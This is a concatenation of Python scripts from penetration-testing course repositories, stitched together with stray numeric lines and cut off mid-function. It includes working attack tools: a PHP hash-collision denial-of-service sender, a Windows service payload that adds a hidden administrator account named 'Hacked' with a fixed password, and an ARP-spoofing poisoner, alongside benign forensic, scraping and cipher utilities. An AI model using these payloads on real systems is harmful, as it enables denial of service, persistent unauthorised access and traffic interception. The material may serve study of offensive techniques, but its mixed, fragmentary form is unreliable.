action="store_true", default=False, help="Verbose output") parser.add_argument("-f", "--file", dest="file", help="Save payload to file") parser.add_argument("-o", "--output", dest="output", help="Save Server response to file. This name is only a pattern. HTML Extension will be appended. Implies -w") parser.add_argument('--version', action='version', version='%(prog)s 2.0') options = parser.parse_args() url = urlparse.urlparse(options.url) if not url.scheme: print("Please provide a scheme to the URL(http://, https://,..") sys.exit(1) host = url.hostname path = url.path port = url.port if not port: if url.scheme == "https": port = 443 elif url.scheme == "http": port = 80 else: print("Unsupported Protocol %s" % url.scheme) sys.exit(1) if not path: path = "/" print("Generating Payload...") payload = generatePayload() print("Payload generated") if options.file: f = open(options.file, 'w') f.write(payload) f.close() print("Payload saved to %s" % options.file) print("Host: %s" % host) print("Port: %s" % str(port)) print("path: %s" % path) print print for i in range(options.count): print("sending Request #%s..." % str(i+1)) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if url.scheme == "https": ssl_sock = ssl.wrap_socket(sock) ssl_sock.connect((host, port)) ssl_sock.settimeout(None) else: sock.connect((host, port)) sock.settimeout(None) request = """POST %s HTTP/1.1 Host: %s Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 ( .NET CLR 3.5.30729; .NET4.0E) Content-Length: %s %s """ % (path, host, str(len(payload)), payload) if url.scheme == "https": ssl_sock.send(request) else: sock.send(request) if options.verbose: if len(request) > 300: print(request[:300]+"....") else: print(request) print if options.wait or options.output: start = time.clock() if url.scheme == "https": data = ssl_sock.recv(1024) string = "" while len(data): string = string + data data = ssl_sock.recv(1024) else: data = sock.recv(1024) string = "" while len(data): string = string + data data = sock.recv(1024) elapsed = (time.clock() - start) print ("Request %s finished" % str(i+1)) print ("Request %s duration: %s" % (str(i+1), elapsed)) split = string.partition("\r\n\r\n") header = split[0] content = split[2] if options.verbose: # only print http header print print(header) print if options.output: f = open(options.output+str(i)+".html", 'w') f.write("<!-- "+header+" -->\r\n"+content) f.close() if url.scheme == "https": ssl_sock.close() sock.close() else: sock.close() def generatePayload(): # Taken from: # https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision # Note: Default max POST Data Length in PHP is 8388608 bytes (8MB) # entries with collisions in PHP hashtable hash function a = {'0':'Ez', '1':'FY', '2':'G8', '3':'H'+chr(23), '4':'D'+chr(122+33)} # how long should the payload be length = 7 size = len(a) post = "" maxvaluefloat = math.pow(size,length) maxvalueint = int(math.floor(maxvaluefloat)) for i in range (maxvalueint): inputstring = base_convert(i, size) result = inputstring.rjust(length, '0') for item in a: result = result.replace(item, a[item]) post += '' + urllib.quote(result) + '=&' return post; def base_convert(num, base): fullalphabet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" alphabet = fullalphabet[:base] if (num == 0): return alphabet[0] arr = [] base = len(alphabet) while num: rem = num % base num = num // base arr.append(alphabet[rem]) arr.reverse() return ''.join(arr) if __name__ == "__main__": main()
31.248649
167
0.566974
Python-Penetration-Testing-for-Developers
import requests import re from bs4 import BeautifulSoup import sys if len(sys.argv) !=2: print "usage: %s targeturl" % (sys.argv[0]) sys.exit(0) urls = [] tarurl = sys.argv[1] url = requests.get(tarurl) comments = re.findall('<!--(.*)-->',url.text) print "Comments on page: "+tarurl for comment in comments: print comment soup = BeautifulSoup(url.text) for line in soup.find_all('a'): newline = line.get('href') try: if newline[:4] == "http": if tarurl in newline: urls.append(str(newline)) elif newline[:1] == "/": combline = tarurl+newline urls.append(str(combline)) except: pass print "failed" for uurl in urls: print "Comments on page: "+uurl url = requests.get(uurl) comments = re.findall('<!--(.*)-->',url.text) for comment in comments: print comment
22.657895
49
0.58686
owtf
""" Plugin for probing vnc """ from owtf.managers.resource import get_resources from owtf.plugin.helper import plugin_helper DESCRIPTION = " VNC Probing " def run(PluginInfo): resource = get_resources("BruteVncProbeMethods") return plugin_helper.CommandDump("Test Command", "Output", resource, PluginInfo, [])
23.769231
88
0.747664
owtf
from owtf.plugin.helper import plugin_helper DESCRIPTION = "Plugin to assist manual testing" def run(PluginInfo): Content = plugin_helper.HtmlString("Intended to show helpful info in the future") return Content
23.777778
85
0.765766
Python-for-Offensive-PenTest
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2 # Modified version of: # http://code.activestate.com/recipes/551780/ # Good to read # https://attack.mitre.org/wiki/Privilege_Escalation # https://msdn.microsoft.com/en-us/library/windows/desktop/ms685150(v=vs.85).aspx # Download Vulnerable Software # https://www.exploit-db.com/exploits/24872/ # Pywin is needed to be installed first # https://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/ import servicemanager import win32serviceutil import win32service import win32api import win32net import win32netcon import os import ctypes class Service(win32serviceutil.ServiceFramework): _svc_name_ = 'ScsiAccess' _svc_display_name_ = 'ScsiAccess' def __init__(self, *args): win32serviceutil.ServiceFramework.__init__(self, *args) def sleep(self, sec): win32api.Sleep(sec*1000, True) def SvcDoRun(self): self.ReportServiceStatus(win32service.SERVICE_START_PENDING) try: self.ReportServiceStatus(win32service.SERVICE_RUNNING) self.start() except Exception, x: self.SvcStop() def SvcStop(self): self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING) self.stop() self.ReportServiceStatus(win32service.SERVICE_STOPPED) def start(self): self.runflag=True # inspired from # http://timgolden.me.uk/python/win32_how_do_i/create-a-local-group-with-a-new-user.html #Define a new username called 'hacked' and make it belong to 'administrators' group. USER = "Hacked" GROUP = "Administrators" user_info = dict ( # create a user info profile in a dictionary format name = USER, password = "python_is_my_life", # Define the password for the 'hacked' username priv = win32netcon.USER_PRIV_USER, home_dir = None, comment = None, flags = win32netcon.UF_SCRIPT, script_path = None ) user_group_info = dict ( # create a group info profile in a dictionary format domainandname = USER ) try: win32net.NetUserAdd (None, 1, user_info) win32net.NetLocalGroupAddMembers (None, GROUP, 3, [user_group_info]) except Exception, x: pass while self.runflag: self.sleep(10) def stop(self): self.runflag=False if __name__ == '__main__': servicemanager.Initialize() servicemanager.PrepareToHostSingle(Service) servicemanager.StartServiceCtrlDispatcher() win32serviceutil.HandleCommandLine(Service)
26.566038
94
0.620678
cybersecurity-penetration-testing
import argparse import binascii import csv import logging import os import re import struct import sys from collections import namedtuple from tqdm import trange __author__ = 'Preston Miller & Chapin Bryce' __date__ = '20160401' __version__ = 0.01 __description__ = '''This scripts processes SQLite "Write Ahead Logs" and extracts database entries that may contain deleted records or records that have not yet been added to the main database.''' def main(wal_file, output_dir, **kwargs): """ The main function parses the header of the input file and identifies the WAL file. It then splits the file into the appropriate frames and send them for processing. After processing, if applicable, the regular expression modules are ran. Finally the raw data output is written to a CSV file. :param wal_file: The filepath to the WAL file to be processed :param output_dir: The directory to write the CSV report to. :return: Nothing. """ msg = 'Identifying and parsing file header' print '[+]', msg logging.info(msg) wal_attributes = {'size': os.path.getsize(wal_file), 'header': {}, 'frames': {}} with open(wal_file, 'rb') as wal: # Parse 32-byte WAL header. header = wal.read(32) # If file is less than 32 bytes long: exit wal_crawler. try: wal_attributes['header'] = dictHelper(header, '>4s7i', namedtuple('struct', 'magic format pagesize checkpoint ' 'salt1 salt2 checksum1 checksum2')) except struct.error, e: logging.error('STRUCT ERROR:', e.message) print '[-]', e.message + '. Exiting..' sys.exit(2) # Do not proceed in the program if the input file is not a WAL file. magic_hex = binascii.hexlify(wal_attributes['header']['magic']) if magic_hex != "377f0682" and magic_hex != "377f0683": logging.error('Magic mismatch, expected 0x377f0682 or 0x377f0683 | received {}'.format(magic_hex)) print '[-] File does not have appropriate signature for WAL file. Exiting...' sys.exit(3) logging.info('File signature matched.') logging.info('Processing WAL file.') # Calculate number of frames. frames = (wal_attributes['size'] - 32) / (wal_attributes['header']['pagesize'] + 24) print '[+] Identified', frames, 'Frames.' # Parse frames in WAL file. Create progress bar using trange(frames) which is an alias for tqdm(xrange(frames)). print '[+] Processing frames...' for x in trange(frames): # Parse 24-byte WAL frame header. wal_attributes['frames'][x] = {} frame_header = wal.read(24) wal_attributes['frames'][x]['header'] = dictHelper(frame_header, '>6i', namedtuple('struct', 'pagenumber commit salt1' ' salt2 checksum1' ' checksum2')) # Parse pagesize WAL frame. frame = wal.read(wal_attributes['header']['pagesize']) frameParser(wal_attributes, x, frame) # Run regular expression functions. if kwargs['m'] or kwargs['r']: regularSearch(wal_attributes, kwargs) # Write WAL data to CSV file. csvWriter(wal_attributes, output_dir) def frameParser(wal_dict, x, frame): """ The frameParser function processes WAL frames. :param wal_dict: The dictionary containing parsed WAL objects. :param x: An integer specifying the current frame. :param frame: The content within the frame read from the WAL file. :return: Nothing. """ # Parse 8-byte WAL page header page_header = frame[0:8] wal_dict['frames'][x]['page_header'] = dictHelper(page_header, '>b3hb', namedtuple('struct', 'type freeblocks cells offset' ' fragments')) # Only want to parse 0x0D B-Tree Leaf Cells if wal_dict['frames'][x]['page_header']['type'] != 13: logging.info('Found a non-Leaf Cell in frame {}. Popping frame from dictionary'.format(x)) wal_dict['frames'].pop(x) return # Parse offsets for "X" cells cells = wal_dict['frames'][x]['page_header']['cells'] wal_dict['frames'][x]['cells'] = {} print '[+] Identified', cells, 'cells in frame', x print '[+] Processing cells...' for y in xrange(cells): start = 8 + (y * 2) wal_dict['frames'][x]['cells'][y] = {} wal_dict['frames'][x]['cells'][y] = dictHelper(frame[start: start + 2], '>h', namedtuple('struct', 'offset')) # Parse cell content cellParser(wal_dict, x, y, frame) def cellParser(wal_dict, x, y, frame): """ The cellParser function processes WAL cells. :param wal_dict: The dictionary containing parsed WAL objects. :param x: An integer specifying the current frame. :param y: An integer specifying the current cell. :param frame: The content within the frame read from the WAL file. :return: Nothing. """ index = 0 # Create alias to cell_root to shorten navigating the WAL dictionary structure. cell_root = wal_dict['frames'][x]['cells'][y] cell_offset = cell_root['offset'] # Parse the payload length and rowID Varints. try: payload_len, index_a = singleVarint(frame[cell_offset:cell_offset + 9]) row_id, index_b = singleVarint(frame[cell_offset + index_a: cell_offset + index_a + 9]) except ValueError: logging.warn('Found a potential three-byte or greater varint in cell {} from frame {}'.format(y, x)) return # Update the index. Following the payload length and rowID is the 1-byte header length. cell_root['payloadlength'] = payload_len cell_root['rowid'] = row_id index += index_a + index_b cell_root['headerlength'] = struct.unpack('>b', frame[cell_offset + index: cell_offset + index + 1])[0] # Update the index with the 1-byte header length. Next process each Varint in "headerlength" - 1 bytes. index += 1 try: types, index_a = multiVarint(frame[cell_offset + index:cell_offset+index+cell_root['headerlength']-1]) except ValueError: logging.warn('Found a potential three-byte or greater varint in cell {} from frame {}'.format(y, x)) return cell_root['types'] = types index += index_a # Immediately following the end of the Varint headers begins the actual data described by the headers. # Process them using the typeHelper function. diff = cell_root['payloadlength'] - cell_root['headerlength'] cell_root['data'] = typeHelper(cell_root['types'], frame[cell_offset + index: cell_offset + index + diff]) def dictHelper(data, format, keys): """ The dictHelper function creates an OrderedDictionary from a struct tuple. :param data: The data to be processed with struct. :param format: The struct format string. :param keys: A string of the keys for the values in the struct tuple. :return: An OrderedDictionary with descriptive keys of struct-parsed values. """ return keys._asdict(keys._make(struct.unpack(format, data))) def singleVarint(data, index=0): """ The singleVarint function processes a Varint and returns the length of that Varint. :param data: The data containing the Varint (maximum of 9 bytes in length as that is the maximum size of a Varint). :param index: The current index within the data. :return: varint, the processed varint value, and index which is used to identify how long the Varint was. """ # If the decimal value is => 128 -- then first bit is set and need to process next byte. if ord(data[index:index+1]) >= 128: # Check if there is a three or more byte varint if ord(data[index + 1: index + 2]) >= 128: raise ValueError varint = (ord(data[index:index+1]) - 128) * 128 + ord(data[index + 1: index + 2]) index += 2 return varint, index # If the decimal value is < 128 -- then first bit is not set and is the only byte of the Varint. else: varint = ord(data[index:index+1]) index += 1 return varint, index def multiVarint(data): """ The multiVarint function is similar to the singleVarint function. The difference is that it takes a range of data and finds all Varints within it. :param data: The data containing the Varints. :return: varints, a list containing the processed varint values, and index which is used to identify how long the Varints were. """ varints = [] index = 0 # Loop forever until all Varints are found by repeatedly calling singleVarint. while len(data) != 0: varint, index_a = singleVarint(data) varints.append(varint) index += index_a # Shorten data to exclude the most recent Varint. data = data[index_a:] return varints, index def typeHelper(types, data): """ The typeHelper function decodes the serial type of the Varints in the WAL file. :param types: The processed values of the Varints. :param data: The raw data in the cell that needs to be properly decoded via its varint values. :return: cell_data, a list of the processed data. """ cell_data = [] index = 0 # Value of type dictates how the data should be processed. See serial type table in chapter # for list of possible values. for type in types: if type == 0: cell_data.append('NULL (RowId?)') elif type == 1: cell_data.append(struct.unpack('>b', data[index:index + 1])[0]) index += 1 elif type == 2: cell_data.append(struct.unpack('>h', data[index:index + 2])[0]) index += 2 elif type == 3: # Struct does not support 24-bit integer cell_data.append(int(binascii.hexlify(data[index:index + 3]), 16)) index += 3 elif type == 4: cell_data.append(struct.unpack('>i', data[index:index + 4])[0]) index += 4 elif type == 5: # Struct does not support 48-bit integer cell_data.append(int(binascii.hexlify(data[index:index + 6]), 16)) index += 6 elif type == 6: cell_data.append(struct.unpack('>q', data[index:index + 8])[0]) index += 8 elif type == 7: cell_data.append(struct.unpack('>d', data[index:index + 8])[0]) index += 8 # Type 8 == Constant 0 and Type 9 == Constant 1. Neither of these take up space in the actual data. elif type == 8: cell_data.append(0) elif type == 9: cell_data.append(1) # Types 10 and 11 are reserved and currently not implemented. elif type > 12 and type % 2 == 0: b_length = (type - 12) / 2 cell_data.append(data[index:index + b_length]) index += b_length elif type > 13 and type % 2 == 1: s_length = (type - 13) / 2 cell_data.append(data[index:index + s_length]) index += s_length else: msg = 'Unexpected serial type: {}'.format(type) print '[-]', msg logging.error(msg) return cell_data def csvWriter(data, output_dir): """ The csvWriter function writes frame, cell, and data to a CSV output file. :param data: The dictionary containing the parsed WAL file. :param output_dir: The directory to write the CSV report to. :return: Nothing. """ headers = ['Frame', 'Salt-1', 'Salt-2', 'Frame Offset', 'Cell', 'Cell Offset', 'ROWID', 'Data'] with open(os.path.join(output_dir, 'wal_crawler.csv'), 'wb') as csvfile: writer = csv.writer(csvfile) writer.writerow(headers) for frame in data['frames']: for cell in data['frames'][frame]['cells']: # Only write entries for cells that have data. if 'data' in data['frames'][frame]['cells'][cell].keys() and len(data['frames'][frame]['cells'][cell]['data']) > 0: # Convert relative frame and cell offsets to file offsets. frame_offset = 32 + (frame * data['header']['pagesize']) + (frame * 24) cell_offset = frame_offset + 24 + data['frames'][frame]['cells'][cell]['offset'] # Cell identifiers include the frame #, salt-1, salt-2, frame offset, # cell #, cell offset, and cell rowID. cell_identifiers = [frame, data['frames'][frame]['header']['salt1'], data['frames'][frame]['header']['salt2'], frame_offset, cell, cell_offset, data['frames'][frame]['cells'][cell]['rowid']] # Write the cell_identifiers and actual data within the cell writer.writerow(cell_identifiers + data['frames'][frame]['cells'][cell]['data']) else: continue csvfile.flush() csvfile.close() def regularSearch(data, options): """ The regularSearch function performs either default regular expression searches for personal information or custom searches based on a supplied regular expression string. :param data: The dictionary containing the parsed WAL file. :param options: The options dictionary contains custom or pre-determined regular expression searching :return: Nothing. """ msg = 'Initializing regular expression module.' print '\n{}\n[+]'.format('='*20), msg logging.info(msg) if options['r'] and not options['m']: regexp = {'Custom': options['r']} else: # Default regular expression modules include: Credit card numbers, SSNs, Phone numbers, URLs, # IP Addresses. regexp = {'Visa Credit Card': r'^4\d{3}([\ \-]?)\d{4}\1\d{4}\1\d{4}$', 'SSN': r'^\d{3}-\d{2}-\d{4}$', 'Phone Number': r'^\d{3}([\ \. \-]?)\d{3}\1\d{4}$', 'URL': r"(http[s]?://)|(www.)(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+", 'IP Address': r'^\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}$'} if options['r']: regexp['Custom'] = options['r'] # Must compile each regular expression before seeing if any data "matches" it. for exp in regexp.keys(): reg_exp = re.compile(regexp[exp]) for frame in data['frames']: for cell in data['frames'][frame]['cells']: for datum in xrange(len(data['frames'][frame]['cells'][cell]['data'])): # TypeError will occur for non-string objects such as integers. try: match = reg_exp.match(data['frames'][frame]['cells'][cell]['data'][datum]) except TypeError: continue # Print any successful match to user. if match: msg = '{}: {}'.format(exp, data['frames'][frame]['cells'][cell]['data'][datum]) print '[*]', msg print '='*20 if __name__ == '__main__': parser = argparse.ArgumentParser(version=str(__version__), description=__description__, epilog='Developed by ' + __author__ + ' on ' + __date__) parser.add_argument('WAL', help='SQLite WAL file') parser.add_argument('OUTPUT_DIR', help='Output Directory') parser.add_argument('-r', help='Custom regular expression') parser.add_argument('-m', help='Run regular expression module', action='store_true') parser.add_argument('-l', help='File path of log file') args = parser.parse_args() if args.l: if not os.path.exists(args.l): os.makedirs(args.l) log_path = os.path.join(args.l, 'wal_crawler.log') else: log_path = 'wal_crawler.log' logging.basicConfig(filename=log_path, level=logging.DEBUG, format='%(asctime)s | %(levelname)s | %(message)s', filemode='a') logging.info('Starting Wal_Crawler v.' + str(__version__)) logging.debug('System ' + sys.platform) logging.debug('Version ' + sys.version) if not os.path.exists(args.OUTPUT_DIR): os.makedirs(args.OUTPUT_DIR) if os.path.exists(args.WAL) and os.path.isfile(args.WAL): main(args.WAL, args.OUTPUT_DIR, r=args.r, m=args.m) else: msg = 'Supplied WAL file does not exist or is not a file' print '[-]', msg logging.error(msg) sys.exit(1)
41.303704
131
0.579208
Python-Penetration-Testing-for-Developers
import urllib2 import json GOOGLE_API_KEY = "{Insert your Google API key}" target = "packtpub.com" token = "" loops = 0 while loops < 10: api_response = urllib2.urlopen("https://www.googleapis.com/plus/v1/people?query="+target+"&key="+GOOGLE_API_KEY+"&maxResults=50&pageToken="+token).read() json_response = json.loads(api_response) token = json_response['nextPageToken'] if len(json_response['items']) == 0: break for result in json_response['items']: name = result['displayName'] print name image = result['image']['url'].split('?')[0] f = open(name+'.jpg','wb+') f.write(urllib2.urlopen(image).read()) loops+=1
25
154
0.66718
PenetrationTestingScripts
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Author : jeffzhang # @Time : 18-5-10 # @File : __init__.py.py # @Desc : ""
16
27
0.481481
Hands-On-Penetration-Testing-with-Python
#! /usr/bin/python3.5 import os class OsDirectories(): def __init__(self): self.path_parent_0=os.getcwd self.file_path=os.path.realpath(__file__) self.pr=os.path.dirname(self.file_path) def Traverse(self,path,tr_all=False): if tr_all ==False: files = os.listdir(path) for i in files: if os.path.isdir(os.path.join(path,i)): dir_=str(os.path.join(path,i)) print("Dir : " +dir_) self.Traverse(os.path.join(path,i)) else: print(os.path.join(path,i)) else: for root, dirs, files in os.walk(path): for f in files: print(f) def create_ch_dir(self,dir_path,action="create"): if action =="create": print("\nBefore Creation :") self.Traverse(os.path.dirname(dir_path)) if os.path.exists(dir_path) == False: os.mkdir(dir_path) else: print("Already Exists") print("\n\nAfter Creation") self.Traverse(os.path.dirname(dir_path)) elif action =="change": print("\nBefore Changing :") print(os.getcwd()) os.chdir(dir_path) print("\n\nAfter Changing") print(os.getcwd()) else: print("Invalod action") def rename_delete_files(self,file_path, operation="delete",new_name="renamed.txt"): if os.path.isfile(file_path): if operation == "delete": print("\nBefore Removal :") self.Traverse(os.path.dirname(file_path)) os.remove(file_path) print("\n\nAfter Removal") self.Traverse(os.path.dirname(file_path)) elif operation == "rename": print("\nBefore Rename :") self.Traverse(os.path.dirname(file_path)) parent_dir=os.path.dirname(file_path) new_path=os.path.join(parent_dir,new_name) os.rename(file_path,new_path) print("\n\nAfter Rename :") self.Traverse(os.path.dirname(file_path)) else: print("Invalod action") else: print("File does not exist cant Delete or rename") o=OsDirectories() o.create_ch_dir(os.path.join(o.pr,"Test_folder")) o.create_ch_dir(os.path.join(o.pr,"Test_folder"),"change") o.rename_delete_files(os.path.join (o.pr,"remove_folder","remove_file1"),"delete") o.rename_delete_files(os.path.join (o.pr,"remove_folder","remove_file2"),"rename","updated")
28.739726
58
0.650691
PenetrationTestingScripts
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Author : jeffzhang # @Time : 18-5-15 # @File : start.py # @Desc : "" import os import sys parent_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) sys.path.insert(0, parent_dir) from instance import config_name from fuxi.views.lib.mongo_db import connectiondb, db_name_conf tasks_db = db_name_conf()['tasks_db'] asset_db = db_name_conf()['asset_db'] server_db = db_name_conf()['server_db'] subdomain_db = db_name_conf()['subdomain_db'] vul_db = db_name_conf()['vul_db'] plugin_db = db_name_conf()['plugin_db'] config_db = db_name_conf()['config_db'] def config(): connectiondb(config_db).drop() subdomain_dict = [] subdomain_dict_path = os.getcwd() + '/tests/domain.dict' try: with open(subdomain_dict_path) as file_read: for i in file_read: subdomain_dict.append(i.strip()) except Exception as e: print(e) subdomain_dict = ['www', 'mail', 'test'] config_data = { 'poc_thread': 50, 'discovery_thread': 52, 'subdomain_thread': 53, 'port_thread': 54, 'config_name': config_name, 'poc_frequency': 15, 'port_list': [20, 21, 22, 23, 80, 81, 443, 445, 544, 873, 1080, 1433, 1434, 1521, 2100, 3306, 3389, 4440, 5671, 5672, 5900, 5984, 6379, 7001, 8080, 8081, 8089, 8888, 9090, 9200, 11211, 15672, 27017, 50070], 'subdomain_dict_2': subdomain_dict, 'subdomain_dict_3': ['www', 'mail', 'test'], 'username_dict': ['admin', 'root', 'administrators'], 'password_dict': ['123456', 'password', '12345678', 'admin', 'admin123'], 'auth_tester_thread': 100, 'discovery_time': "11:00:00", 'auth_service': ['asterisk', 'cisco', 'cisco-enable', 'cvs', 'firebird', 'ftp', 'ftps', 'http-proxy', 'http-proxy-urlenum', 'icq', 'imap', 'irc', 'ldap2', 'mssql', 'mysql', 'nntp', 'oracle-listener', 'oracle-sid', 'pcanywhere', 'pcnfs', 'pop3', 'postgres', 'rdp', 'redis', 'rexec', 'rlogin', 'rsh', 's7-300', 'sip', 'smb', 'smtp', 'smtp-enum', 'snmp', 'socks5', 'ssh', 'sshkey', 'svn', 'teamspeak', 'telnet', 'vmauthd', 'vnc', 'xmpp'], } connectiondb(config_db).insert_one(config_data) if __name__ == '__main__': config()
38.295082
119
0.558013
Python-Penetration-Testing-Cookbook
import sys from scapy.all import * interface = "en0" def callBackParser(packet): if IP in packet: source_ip = packet[IP].src destination_ip = packet[IP].dst if packet.haslayer(DNS) and packet.getlayer(DNS).qr == 0: print("From : " + str(source_ip) + " to -> " + str(destination_ip) + "( " + str(packet.getlayer(DNS).qd.qname) + " )") if packet.haslayer(TCP): try: if packet[TCP].dport == 80 or packet[TCP].sport == 80: print(packet[TCP].payload) except: pass sniff(iface=interface, prn=callBackParser)
30.55
130
0.553968
cybersecurity-penetration-testing
# Caesar Cipher Hacker # http://inventwithpython.com/hacking (BSD Licensed) message = 'GUVF VF ZL FRPERG ZRFFNTR.' LETTERS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' # loop through every possible key for key in range(len(LETTERS)): # It is important to set translated to the blank string so that the # previous iteration's value for translated is cleared. translated = '' # The rest of the program is the same as the original Caesar program: # run the encryption/decryption code on each symbol in the message for symbol in message: if symbol in LETTERS: num = LETTERS.find(symbol) # get the number of the symbol num = num - key # handle the wrap-around if num is 26 or larger or less than 0 if num < 0: num = num + len(LETTERS) # add number's symbol at the end of translated translated = translated + LETTERS[num] else: # just add the symbol without encrypting/decrypting translated = translated + symbol # display the current key being tested, along with its decryption print('Key #%s: %s' % (key, translated))
34.352941
75
0.630308
Ethical-Hacking-Scripts
import os, sys, time, threading from optparse import OptionParser class FileFinder: def __init__(self, search, drive): OptionParse.logo(None) self.dirlist = [] self.file_list = [] self.drive = drive self.keep_search = True self.search = search.lower() self.timeout = 15 self.maxtime = 15 self.startdir = os.getcwd() self.outputname = "squidfoundfiles.txt" self.founditems = [] def timeouttimer(self): while True: time.sleep(1) self.timeout -= 1 if self.timeout == 0: self.keep_search = False break def get_filelist(self): try: found = False for i in os.listdir(): if "." in i: if os.path.join(os.getcwd(),i) not in self.file_list: if self.search in i.lower(): self.file_list.append(os.path.join(os.getcwd(),i)) itemtype = "File" found = True else: if os.path.join(os.getcwd(), i) not in self.dirlist: self.dirlist.append(os.path.join(os.getcwd(),i)) if self.search in i.lower(): itemtype = "Directory" found = True if found: print(f"[+] {itemtype} Found: {os.path.join(os.getcwd(), i)}") self.timeout = self.maxtime found = False self.founditems.append("[+] "+os.path.join(os.getcwd(),i)+"\n") except: pass def get_files(self): try: os.chdir(self.drive) except: print("[+] The directory specified does not exist! Did you mispell it?") quit() self.timer = threading.Thread(target=self.timeouttimer) self.timer.start() self.get_filelist() for i in self.dirlist: try: os.chdir(i) self.get_filelist() if not self.keep_search: break except Exception as e: pass print("\n[+] Scan Completed.") if len(self.file_list) > 0: print(f"[+] Did you find what you were looking for?\n[+] File with all of the found directories/files: {self.startdir}\{self.outputname}") self.timeout = 1 os.chdir(self.startdir) file = open(self.outputname,"w") file.writelines(self.founditems) file.close() else: print("[+] I was not able to find anything. Did you spell the name of your file correctly?") class OptionParse: def logo(self): print(""" _________ .__ .______________.__ .___ ________ _______ / _____/ ________ __|__| __| _/\_ _____/|__| ____ __| _/___________ ___ _\_____ \ \ _ \ \_____ \ / ____/ | \ |/ __ | | __) | |/ \ / __ |/ __ \_ __ \ \ \/ // ____/ / /_\ \ / < <_| | | / / /_/ | | \ | | | \/ /_/ \ ___/| | \/ \ // \ \ \_/ \\ /_______ /\__ |____/|__\____ | \___ / |__|___| /\____ |\___ >__| \_/ \_______ \ /\ \_____ / \/ |__| \/ \/ \/ \/ \/ \/ \/ \/ Script By DrSquid [+] A File Finder for all of your file-finding needs.""") def usage(self): self.logo() print(""" [+] -F, --File - Specify the file to look for. [+] -I, --Info - Shows this message. [+] -D, --Dir - Specify the directory you will start in(optional). [+] Examples: [+] python3 SquidFinder.py -F file.txt -D C:/ [+] python3 SquidFinder.py -I""") def __init__(self): parse = OptionParser() parse.add_option("-F", "--File", dest="file") parse.add_option("-I","--Info", dest="info", action="store_true") parse.add_option("-D","--Drive", dest="drive") arg, op = parse.parse_args() if arg.info is not None or arg.file is None: self.usage() sys.exit() if arg.drive is None: if sys.platform == "win32": arg.drive = "C:/" else: arg.drive = "/" File = FileFinder(arg.file, arg.drive) File.get_files() parse = OptionParse()
41.427273
165
0.410201
Python-Penetration-Testing-for-Developers
import socket import struct import binascii s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800)) s.bind(("eth0",socket.htons(0x0800))) sor = '\x00\x0c\x29\x4f\x8e\x35' victmac ='\x00\x0C\x29\x2E\x84\x7A' gatemac = '\x00\x50\x56\xC0\x00\x08' code ='\x08\x06' eth1 = victmac+sor+code #for victim eth2 = gatemac+sor+code # for gateway htype = '\x00\x01' protype = '\x08\x00' hsize = '\x06' psize = '\x04' opcode = '\x00\x02' gate_ip = '192.168.0.1' victim_ip = '192.168.0.11' gip = socket.inet_aton ( gate_ip ) vip = socket.inet_aton ( victim_ip ) arp_victim = eth1+htype+protype+hsize+psize+opcode+sor+gip+victmac+vip arp_gateway= eth2+htype+protype+hsize+psize+opcode+sor+vip+gatemac+gip while 1: s.send(arp_victim) s.send(arp_gateway)
20.416667
74
0.698701
Penetration-Testing-Study-Notes
#!/usr/bin/python ################################################### # # HashCheck - written by Justin Ohneiser # ------------------------------------------------ # This program will check a set of Windows NTLM # hashes against a set of IP addresses looking # for valid Pass-The-Hash access. # # [Warning]: # This script comes as-is with no promise of functionality or accuracy. I strictly wrote it for personal use # I have no plans to maintain updates, I did not write it to be efficient and in some cases you may find the # functions may not produce the desired results so use at your own risk/discretion. I wrote this script to # target machines in a lab environment so please only use it against systems for which you have permission!! #------------------------------------------------------------------------------------------------------------- # [Modification, Distribution, and Attribution]: # You are free to modify and/or distribute this script as you wish. I only ask that you maintain original # author attribution and not attempt to sell it or incorporate it into any commercial offering (as if it's # worth anything anyway :) # # Hashes must be in the following format # USER:ID:LM:NT::: # # Designed for use in Kali Linux 4.6.0-kali1-686 ################################################### import os, sys, subprocess class bcolors: HEADER = '\033[95m' OKBLUE = '\033[94m' OKGREEN = '\033[92m' WARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' BOLD = '\033[1m' UNDERLINE = '\033[4m' # ------------------------------------ # Toolbox # ------------------------------------ def printHeader(): print "" print "###################################################" print "## HashCheck" print "##" print "###################################################" print "" def printUsage(): print "Usage: \t\t%s <hash | hash-file> <target | target-file>\nHash Format:\tUSER:ID:LM:NT:::" % sys.argv[0].split("/")[len(sys.argv[0].split("/"))-1] def printPlus(message): print bcolors.OKGREEN + "[+] " + message + bcolors.ENDC def printMinus(message): print "[-] " + message def printStd(message): print "[*] " + message def printStdSpecial(message): print bcolors.WARNING + "[*] " + message + bcolors.ENDC def printErr(message): print bcolors.FAIL + "[!] " + message + bcolors.ENDC def printDbg(message): print bcolors.OKBLUE + "[-] " + message + bcolors.ENDC def validateIp(s): a = s.split('.') if len(a) != 4: return False for x in a: if not x.isdigit(): return False i = int(x) if i < 0 or i > 255: return False return True def validateHash(hash): pieces = hash.split(":") if len(pieces) < 4: return False if "NO PASSWORD" in pieces[3] or "0000000000" in pieces[3]: return False return True # ------------------------------------ # Scans # ------------------------------------ def isWindows(target): NMAP = "nmap -p 445 --script smb-os-discovery %s | grep OS:" % target try: nmap_results = subprocess.check_output(NMAP, shell=True) if not "Windows" in nmap_results: printStd("Skipping: hash login not accessible") return False except KeyboardInterrupt: printMinus("Skipping:\n\t%s" % NMAP) return False except subprocess.CalledProcessError as ex: if ex.returncode != 1: raise Exception printStd("Skipping: hash login not accessible") return False except Exception as e: printErr("Unable to discover target compatibility:\n\t%s\n\n%s" % (NMAP, e)) return False return True def 